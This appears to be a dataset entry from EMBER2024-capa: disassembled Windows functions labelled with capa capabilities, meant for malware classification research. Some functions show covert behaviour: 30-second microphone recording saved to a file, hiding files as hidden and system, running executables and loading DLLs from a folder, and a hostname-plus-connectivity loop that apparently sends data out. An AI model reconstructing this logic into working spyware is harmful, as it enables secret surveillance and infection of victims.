joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407e10
Capabilities:
Check if file exists
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
mov eax, dword [0x43f480]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
call fcn.00401630
mov edi, eax
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x407e53
push edi
call fcn.0042228d
add esp, 4
push edi
call fcn.00402100
add esp, 4
push 6
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407e58
sub eax, edx
add eax, 8
push eax
call fcn.0041f104
add esp, 4
push edi
mov esi, eax
push str._s
push esi
mov dword [ebp - 0x138], esi
call fcn.00420357
add esp, 0xc
lea eax, [ebp - 0x130]
push eax
push esi
call fcn.00421be2
add esp, 8
mov dword [ebp - 0x134], eax
test eax, eax
je 0x407f83
cmp eax, 0xffffffff
je 0x407f83
mov ebx, dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407eb6
sub eax, edx
mov edx, eax
lea eax, [ebp - 0x10c]
lea esi, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407ed0
sub eax, esi
lea ecx, [eax + edx + 8]
push ecx
call fcn.0041f104
add esp, 4
lea edx, [ebp - 0x10c]
push edx
push edi
mov esi, eax
push 0x43b384
push esi
call fcn.00420357
lea eax, [ebp - 0x10c]
push str..dll
push eax
call fcn.00421ae0
add esp, 0x18
test eax, eax
je 0x407f1c
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
jmp 0x407f47
lea ecx, [ebp - 0x10c]
push str..exe
push ecx
call fcn.00421ae0
add esp, 8
test eax, eax
je 0x407f47
push 5
push 0
push 0x43b588
push esi
push str.open
push 0
call ebx
push esi
call fcn.004203db
mov eax, dword [ebp - 0x134]
add esp, 4
lea edx, [ebp - 0x130]
push edx
push eax
call fcn.00421d09
add esp, 8
test eax, eax
je 0x407eb1
mov ecx, dword [ebp - 0x134]
push ecx
call fcn.00421e37
mov esi, dword [ebp - 0x138]
add esp, 4
push esi
call fcn.004203db
add esp, 4
push edi
call fcn.004203db
mov ecx, dword [ebp - 4]
add esp, 4
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041fc56
mov esp, ebp
pop ebp
ret
Function at 0x408eb0
Capabilities:
Capture microphone audio

Disassembly:
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408eb5
push esi
sub eax, edx
add eax, 0x20
push edi
push eax
call fcn.0041f104
mov esi, dword [sym.imp.WINMM.dll_mciSendStringA]
add esp, 4
push 0
push 0
push 0
push str.open_new_type_waveaudio_alias_mic_buffer_6
mov edi, eax
call esi
push 0
push 0
push 0
push str.record_mic
call esi
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push str.stop_mic
call esi
push ebx
push str.save_mic__s
push edi
call fcn.00420357
add esp, 0xc
push 0
push 0
push 0
push edi
call esi
push 0
push 0
push 0
push str.close_mic
call esi
push edi
call fcn.004203db
add esp, 4
pop edi
pop esi
ret
Function at 0x409800
Capabilities:
Check if file exists
Check internet connectivity via wininet
Get hostname

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push ebx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x409a03
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x409823
sub eax, edx
push eax
call fcn.0041f104
mov esi, eax
mov eax, ebx
add esp, 4
mov dword [esp + 0x14], esi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x409840
sub eax, ecx
push eax
call fcn.0041f104
add esp, 4
push eax
push esi
push 0
push 0
push ebx
mov dword [esp + 0x2c], eax
call fcn.004225c3
add esp, 0x14
call fcn.004018f0
cmp byte [0x442b24], 0
mov dword [esp + 0x1c], eax
jne 0x409883
call fcn.00401040
mov byte [0x442b24], 1
mov eax, dword [0x442b58]
mov eax, dword [eax + 0x94]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x409891
sub eax, edx
mov edi, eax
cmp byte [0x442b25], cl
jne 0x4098d1
push 0x100
call fcn.0041f104
add esp, 4
lea ecx, [esp + 0x10]
push ecx
push eax
mov dword [0x442b18], eax
mov dword [esp + 0x18], 0x100
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov byte [0x442b25], 1
mov eax, dword [0x442b18]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4098e0
sub eax, edx
mov edx, eax
mov eax, ebx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4098f0
sub eax, esi
add eax, edx
lea edx, [eax + edi + 0x80]
push edx
call fcn.0041f104
add esp, 4
cmp byte [0x442b25], 0
mov esi, eax
jne 0x409943
push 0x100
call fcn.0041f104
add esp, 4
lea ecx, [esp + 0x10]
push ecx
push eax
mov dword [0x442b18], eax
mov dword [esp + 0x18], 0x100
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov byte [0x442b25], 1
cmp byte [0x442b24], 0
mov edi, dword [0x442b18]
jne 0x40995e
call fcn.00401040
mov byte [0x442b24], 1
mov edx, dword [esp + 0x18]
mov eax, dword [esp + 0x14]
mov ecx, dword [0x442b58]
push edx
mov edx, dword [ecx + 0x94]
push eax
push edi
push edx
push str._s_comp_sext_s._s
push esi
call fcn.00420357
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x18
lea ebx, [ebx]
push 0
lea eax, [esp + 0x14]
push eax
mov dword [esp + 0x18], 0
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
je 0x4099bf
mov edx, dword [esp + 0x1c]
push ebx
push esi
lea ecx, [esp + 0x18]
call fcn.00404990
add esp, 8
test eax, eax
jne 0x4099d3
push ebx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x4099d3
push 0x7530
call edi
jmp 0x409990
mov ecx, dword [esp + 0x14]
push ecx
call fcn.004203db
mov edx, dword [esp + 0x1c]
add esp, 4
push edx
call fcn.004203db
mov eax, dword [esp + 0x20]
add esp, 4
push eax
call fcn.004203db
add esp, 4
push esi
call fcn.004203db
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41fc56
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43f480]
jne 0x41fc60
repz ret
jmp fcn.004247e8

Function at 0x431e51
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x43f480]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00425d9b
and dword [ebp - 0x14], 0
cmp dword [0x442a44], 0
mov dword [ebp - 0x18], eax
jne 0x431f04
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x431fac
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x431fac
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x442a44], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x442a48], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x442a4c], eax
call edi
push eax
call esi
mov dword [0x442a54], eax
test eax, eax
je 0x431f04
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x442a50], eax
mov eax, dword [0x442a50]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x431f5d
cmp dword [0x442a54], ecx
je 0x431f5d
push eax
call esi
push dword [0x442a54]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x431f5d
test ebx, ebx
je 0x431f5d
call edi
test eax, eax
je 0x431f54
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x431f54
test byte [ebp - 8], 1
jne 0x431f5d
or dword [ebp + 0x10], 0x200000
jmp 0x431f90
mov eax, dword [0x442a48]
cmp eax, dword [ebp - 0x18]
je 0x431f90
push eax
call esi
test eax, eax
je 0x431f90
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x431f90
mov eax, dword [0x442a4c]
cmp eax, dword [ebp - 0x18]
je 0x431f90
push eax
call esi
test eax, eax
je 0x431f90
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x442a44]
call esi
test eax, eax
je 0x431fac
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x431fae
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041fc56
leave
ret
Function at 0x4043c0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x48a402
mov eax, dword fs:[0]
push eax
sub esp, 0x214
mov eax, dword [0x4b74b0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 0x220], esi
mov dword [ebp - 0x21c], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
mov word [esi], ax
push 0x208
push eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x218]
push eax
mov dword [ebp - 0x21c], 1
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x218]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryW]
test eax, eax
je 0x404460
lea ecx, [ebp - 0x218]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x404453
jmp 0x4044ab
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x78
jne 0x4044be
push 0x208
lea eax, [ebp - 0x218]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x218]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x4044be
lea ecx, [ebp - 0x218]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4044a0
sub ecx, edx
lea eax, [ebp - 0x218]
sar ecx, 1
push ecx
push eax
mov ecx, esi
call fcn.00404550
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00487877
mov esp, ebp
pop ebp
ret
Function at 0x40cfa0
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x48ae9b
mov eax, dword fs:[0]
push eax
sub esp, 0x22c
mov eax, dword [0x4b74b0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x21c]
mov ebx, dword [ebp + 0xc]
push 0x20a
push 0
mov dword [ebp - 0x220], esi
push eax
mov dword [ebp - 0x220], ebx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov eax, ebx
cmp dword [ebx + 0x14], 8
jb 0x40d000
mov eax, dword [ebx]
push 0x104
lea ecx, [ebp - 0x21c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov ecx, eax
mov dword [ebp - 0x238], ecx
test ecx, ecx
je 0x40d15d
cmp ecx, 0x104
ja 0x40d063
xor eax, eax
mov dword [esi + 0x10], 0
lea ecx, [ebp - 0x21c]
mov dword [esi + 0x14], 7
mov word [esi], ax
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40d047
sub ecx, edx
lea eax, [ebp - 0x21c]
sar ecx, 1
push ecx
push eax
jmp 0x40d176
lea eax, [ecx + 1]
xor edi, edi
xor ebx, ebx
mov dword [ebp - 0x230], eax
mov dword [ebp - 0x22c], edi
mov dword [ebp - 0x228], edi
mov dword [ebp - 0x224], ebx
test eax, eax
je 0x40d0d7
cmp eax, 0x7fffffff
ja 0x40d19b
push eax
lea ecx, [ebp - 0x22c]
call fcn.00401c90
mov ecx, dword [ebp - 0x230]
mov edi, eax
xor eax, eax
mov dword [ebp - 0x234], edi
mov dword [ebp - 0x22c], edi
lea ebx, [edi + ecx*2]
shr ecx, 1
rep stosd dword es:[edi], eax
adc ecx, ecx
mov dword [ebp - 0x224], ebx
rep stosw word es:[edi], ax
mov edi, dword [ebp - 0x234]
mov ecx, dword [ebp - 0x238]
mov dword [ebp - 0x228], ebx
mov eax, dword [ebp - 0x220]
mov dword [ebp - 4], 0
cmp dword [eax + 0x14], 8
jb 0x40d0ec
mov eax, dword [eax]
push ecx
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov ecx, edi
mov dword [esi + 0x10], 0
xor eax, eax
mov dword [esi + 0x14], 7
mov word [esi], ax
lea edx, [ecx + 2]
lea ecx, [ecx]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40d110
sub ecx, edx
sar ecx, 1
push ecx
push edi
mov ecx, esi
call fcn.00404550
test edi, edi
je 0x40d17d
sub ebx, edi
mov eax, edi
and ebx, 0xfffffffe
cmp ebx, 0x1000
jb 0x40d151
mov edi, dword [edi - 4]
add ebx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40d151
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ebx
push edi
call fcn.00487869
add esp, 8
jmp 0x40d17d
xor eax, eax
mov dword [esi + 0x10], 0
push eax
mov dword [esi + 0x14], 7
mov word [esi], ax
push 0x496770
mov ecx, esi
call fcn.00404550
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00487877
mov esp, ebp
pop ebp
ret
call fcn.00401c80
int3
Function at 0x4104c0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x48b400
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x4b74b0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esi], vtable.CryptoPP::FilterWithBufferedInput.0
mov dword [esi + 4], vtable.CryptoPP::FilterWithBufferedInput.1.0
mov eax, dword [esi + 0x2c]
mov ecx, dword [esi + 0x30]
cmp eax, ecx
mov edx, dword [esi + 0x34]
mov edi, edx
cmovb ecx, eax
mov dword [ebp - 4], 0
xor al, al
rep stosb byte es:[edi], al
push edx
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov ecx, dword [esi + 0xc]
add esp, 4
test ecx, ecx
je 0x410524
mov eax, dword [ecx]
push 1
call dword [eax]
test byte [ebp + 8], 1
je 0x410535
push 0x48
push esi
call fcn.00487869
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x410550
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x48b460
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x4b74b0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov eax, dword [esi + 0x2c]
cmp eax, dword [esi + 0x30]
mov edx, dword [esi + 0x34]
mov edi, edx
sbb ecx, ecx
mov dword [ebp - 4], 0
and ecx, 0xfffffffc
xor al, al
push edx
mov ecx, dword [ecx + esi + 0x30]
rep stosb byte es:[edi], al
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov eax, dword [esi + 0x1c]
mov ecx, dword [esi + 0x20]
cmp eax, ecx
mov edx, dword [esi + 0x24]
mov edi, edx
cmovb ecx, eax
mov dword [ebp - 4], 1
xor al, al
rep stosb byte es:[edi], al
push edx
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov ecx, dword [esi + 0xc]
add esp, 8
test ecx, ecx
je 0x4105cc
mov eax, dword [ecx]
push 1
call dword [eax]
test byte [ebp + 8], 1
je 0x4105dd
push 0x40
push esi
call fcn.00487869
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x413a60
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x4b74b0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x413b1c
cmp byte [esi + 0x3d], 0
je 0x413b1c
mov eax, dword [esi]
push edi
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x413b0a
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet___char___char___char___const]
sub eax, 0
je 0x413ad1
sub eax, 1
je 0x413ad5
sub eax, 2
jne 0x413b0a
mov byte [esi + 0x3d], al
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00487877
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x413af3
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x413b0a
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00487877
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00487877
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.00487877
mov esp, ebp
pop ebp
ret

Function at 0x413e50
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x48bab8
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x4b74b0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 0xc]
lea eax, [ebp - 0x28]
mov edi, dword [ebp + 8]
push esi
push eax
call fcn.00412070
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 0
push eax
call fcn.00413f20
add esp, 0xc
test eax, eax
jne 0x413ea5
xor esi, esi
jmp 0x413ec2
cmp dword [esi + 0x14], 8
jb 0x413ead
mov esi, dword [esi]
cmp dword [edi + 0x14], 8
jb 0x413eb5
mov edi, dword [edi]
push dword [ebp + 0x10]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov esi, eax
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x413efe
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x413ef4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x413ef4
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.00487869
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00487877
mov esp, ebp
pop ebp
ret
Function at 0x413f20
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x48bae8
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x4b74b0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
mov eax, esi
cmp dword [esi + 0x14], 8
jb 0x413f56
mov eax, dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x414018
cmp dword [esi + 0x14], 8
mov eax, esi
jb 0x413f70
mov eax, dword [esi]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x414018
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x414018
lea eax, [ebp - 0x28]
push esi
push eax
call fcn.00412070
add esp, 8
cmp dword [ebp - 0x18], 0
mov dword [ebp - 4], 0
je 0x414037
lea eax, [ebp - 0x28]
push eax
call fcn.00413f20
add esp, 4
test eax, eax
je 0x414037
cmp dword [esi + 0x14], 8
jb 0x413fc8
mov esi, dword [esi]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x413fe2
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x414037
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x414018
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41400e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414063
push edx
push ecx
call fcn.00487869
add esp, 8
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00487877
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x414073
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x414069
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x414069
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.00487869
add esp, 8
xor eax, eax
jmp 0x41401d
Function at 0x416560
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x4b74b0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x416590
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00487877
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
mov eax, dword [eax]
test eax, eax
je 0x4165c0
mov edx, dword [esi + 0x30]
mov edx, dword [edx]
add edx, eax
cmp eax, edx
jae 0x4165c0
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void_]
pop esi
mov byte [eax], bl
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00487877
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
push edi
je 0x4166ba
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x4165e9
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x41661d
push dword [esi + 0x4c]
movsx eax, bl
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00487877
mov esp, ebp
pop ebp
ret 4
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x28], bl
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x27]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet___char_const___char_const___char_const____char___char___char___const]
test eax, eax
js 0x4166ba
cmp eax, 1
jle 0x41667b
cmp eax, 3
jne 0x4166ba
push dword [esi + 0x4c]
push dword [ebp - 0x28]
call fcn.0040e590
add esp, 8
or ecx, 0xffffffff
test al, al
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00487877
mov esp, ebp
pop ebp
ret 4
mov edi, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x416699
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x4166ba
lea eax, [ebp - 0x28]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 0x30], eax
je 0x4166ba
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00487877
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00487877
mov esp, ebp
pop ebp
ret 4